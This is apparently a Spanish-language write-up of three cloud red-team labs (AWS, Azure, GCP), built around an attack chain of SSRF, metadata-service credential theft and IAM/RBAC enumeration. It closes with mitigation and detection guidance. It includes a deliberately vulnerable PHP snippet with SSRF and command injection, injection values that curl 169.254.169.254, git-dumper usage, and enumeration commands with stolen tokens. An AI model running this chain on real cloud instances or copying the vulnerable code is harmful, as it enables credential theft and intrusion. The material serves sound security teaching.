Cloud Red Teaming Multi-Cloud — Teoría vs Práctica (AWS / Azure / GCP)
El patrón único de explotación cloud y sus tres dialectos: SSRF + Metadata Service → credenciales temporales → enumeración. Comparativa de headers IMDS, formatos de credenciales, IAM/RBAC y APIs de gestión, con la defensa común a los tres proveedores.
Cloud Red Teaming Multi-Cloud — Teoría vs Práctica (AWS / Azure / GCP)
1. Executive Summary
Los tres laboratorios (AWS, Azure, GCP) resuelven el mismo teorema de explotación con tres dialectos distintos: SSRF + Metadata Service → credenciales temporales → enumeración. La teoría y la práctica difieren en los detalles de implementación (headers, formatos de token, nombres de identidad, endpoints de enumeración), pero la cadena de ataque es idéntica y, por tanto, la defensa es la misma.
La cadena unificada
El "santo grial" de los tres laboratorios
169.254.169.254 es el endpoint link-local de metadata que todas las instancias cloud exponen por diseño: la aplicación dentro de la instancia necesita credenciales sin almacenarlas. La misma propiedad que lo hace útil para el software lo hace explotable desde un SSRF:
| Proveedor | Header requerido | Ruta de credenciales | Formato |
|---|---|---|---|
| AWS | ❌ ninguno (IMDSv1) | /latest/meta-data/iam/security-credentials/{role} |
JSON plano (AccessKeyId + SecretAccessKey + Token) |
| Azure | ✅ Metadata: true |
/metadata/identity/oauth2/token?resource={api}&api-version=2018-02-01 |
JWT (access_token) |
| GCP | ✅ Metadata-Flavor: Google |
/computeMetadata/v1/instance/service-accounts/default/token |
OAuth2 token |
// AWS — JSON plano
{ "AccessKeyId": "ASIATQGVY3V5ZIVFIUEQ",
"SecretAccessKey": "VWGLgRZnNj4spEDc+CuOgJB4U0D3M7/KuPvp+uz0",
"Token": "IQoJb3JpZ2lu..." }
// Azure — JWT decodificado
{ "iss": "https://sts.windows.net/68b40a4c-.../",
"tid": "68b40a4c-...",
"oid": "3c19c764-...",
"xms_mirid": "/subscriptions/4ebaca3d-.../virtualMachines/it-vm" }
// GCP — OAuth2
{ "access_token": "ya29.c.c0AZ4bNpa...", "expires_in": 3599, "token_type": "Bearer" }
IMDSv2 (AWS) rompe el SSRF simple: requiere un token de sesión obtenido por
PUT /latest/api/token(conX-aws-ec2-metadata-token-ttl-seconds) y el headerX-aws-ec2-metadata-tokenen cada GET. Unfile_get_contents()sin PUT deja de leer credenciales. Es el patch estructural que Azure y GCP emulan con sus headers obligatorios.
2. El camino de explotación por capa
2.1 OSINT — el vector de entrada por proveedor
| Lab | Herramienta | Vector | Qué expuso |
|---|---|---|---|
| AWS | cloud_enum |
Brute-force de naming S3 | cwl-metatech-prod público (sin credenciales) |
| Azure | gobuster dns |
Enumeración de subdominios | internal.meta-tech.cloud — un host "interno" en internet |
| GCP | GitHub search | Secret leakage / supply chain | pipeline.yml con una SA key en base64 |
OSINT cloud:
├── Buckets S3 → cloud_enum, bucketkicker
├── Subdominios → gobuster, subfinder, amass
├── Repos GitHub → trufflehog, gitleaks, búsqueda manual
└── Certificados → crt.sh, censys
2.2 Fuga de .git — el puente hacia el código
Por defecto un servidor web sirve archivos estáticos; si el directorio .git es accesible, cualquier persona reconstruye el historial completo (código, credenciales borradas en commits posteriores, configuración de infraestructura). Es mala praxis de desarrollo, no un problema cloud — pero fue el vector que entregó process.php en AWS y Azure:
git-dumper http://IP/.git /tmp/gitdump
2.3 SSRF + RCE — el caballo de Troya
<?php
$ip = $_POST['ip']; // SSRF: file_get_contents sin validar
$content = file_get_contents($ip);
$org = $_POST['organization']; // RCE: system() sin sanitizar
$org_output = system($org);
echo $org_output, $content;
?>
| Campo | Uso legítimo | Uso malicioso |
|---|---|---|
ip |
Validar una IP | http://169.254.169.254/... (SSRF) |
organization |
Nombre de la organización | curl -s http://169.254.169.254/... (RCE) |
2.4 IAM / RBAC / Cloud IAM — la topología de identidad
| Concepto | AWS | Azure | GCP |
|---|---|---|---|
| Identidad | IAM User / Role | User / Service Principal / Managed Identity | Service Account |
| Permiso | IAM Policy | Role Definition | Custom Role |
| Asignación | Policy attached | Role Assignment | IAM Policy Binding |
| Scope | ARN | Scope (subscription, RG, resource) | Project, Folder, Org |
| Politica administrada | AWS Managed Policy | Built-in Role | Predefined Role |
# AWS — enumeración post-IMDS
aws iam list-groups-for-user --user-name emp003 # employees
aws iam get-role --role-name crossaccount-role # trust: manager@058264439561
aws iam list-user-policies --user-name emp001 # s3-administrator-Policy
# Azure — RBAC + Graph (dos tokens, dos APIs)
curl -H "Authorization: Bearer $MGMT_TOKEN" \
"https://management.azure.com/subscriptions/$SUB/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01&\$filter=principalId+eq+'$OID'"
curl -H "Authorization: Bearer $GRAPH_TOKEN" \
"https://graph.microsoft.com/v1.0/groups?\$filter=displayName+eq+'IT+Ops'"
# GCP — Cloud Resource Manager + IAM
curl -H "Authorization: Bearer $VM_TOKEN" -X POST -H "Content-Type: application/json" \
"https://cloudresourcemanager.googleapis.com/v1/projects/mcrta-exam:getIamPolicy" -d "{}"
curl -H "Authorization: Bearer $VM_TOKEN" \
"https://iam.googleapis.com/v1/projects/mcrta-exam/roles/VMReadgek"
Patrón común: la identidad robada no es admin, pero sus Trust Policy / Role Assignments / IAM Bindings revelan quién puede asumir qué — el mapa de escalada y movimiento lateral.
2.5 Storage buckets
| Lab | Bucket | Contenido | Acceso |
|---|---|---|---|
| AWS | cwl-metatech-prod |
dev-server-ip.txt, prod-data.txt (PII financiera) |
Público, --no-sign-request |
| GCP | stag-storage-metatech-prod11 |
license-key.txt |
Con token de VM (reader + storage) |
2.6 APIs de gestión — la superficie post-credenciales
| Proveedor | Mecanismo de auth | Superficie |
|---|---|---|
| AWS | SigV4 (lo maneja la CLI) | aws iam, aws s3 |
| Azure | JWT como Bearer | management.azure.com + graph.microsoft.com |
| GCP | OAuth2 Bearer | cloudresourcemanager, iam, storage.googleapis.com |
3. Mitigation — la defensa común
La defensa es la misma para los tres proveedores, aplicada en el mismo orden:
- No exponer
.gitni secretos — el vector de entrada sin credenciales (deny~/.giten el web server, secret scanning en CI). - Neutralizar SSRF en origen — validar URLs contra allowlist (no blocklist) y filtrar link-local/loopback; un
FILTER_FLAG_NO_PRIV_RANGEno basta contra DNS rebinding y redirecciones. - Endurecer el metadata service — AWS: IMDSv2 +
--http-tokens required+ hop-limit 1; Azure/GCP: mantener los headers obligatorios y restringir la default service account. - Mínimo privilegio IAM/RBAC/Cloud IAM — acotar scope (resource/condition) y auditar trust policies, role assignments y custom roles.
- Buckets privados por defecto — Block Public Access /
allUsersdenegado / objectViewer acotado por recurso.
Detección compartida
| Señal | Proveedores |
|---|---|
curl a 169.254.169.254 desde la app (flow logs / audit) |
Todos |
Credenciales temporales usadas fuera de la instancia (mismatch sourceIP/userAgent) |
AWS (CloudTrail), Azure (Sign-in logs), GCP (Audit Logs) |
getIamPolicy / roleAssignments / GetRole en ráfaga desde una identidad de VM |
Todos |
| Lecturas anómalas de objetos (DATA_READ) desde una SA de app | GCS / S3 data events |
Conclusión: los tres laboratorios demuestran que la diferencia entre AWS, Azure y GCP es superficial — headers, formatos de token y nombres de conceptos. El teorema de explotación (recurso expuesto → SSRF → IMDS → credenciales → enumeración) y su contramedida (endurecer entrada + metadata + mínimo privilegio) son universales.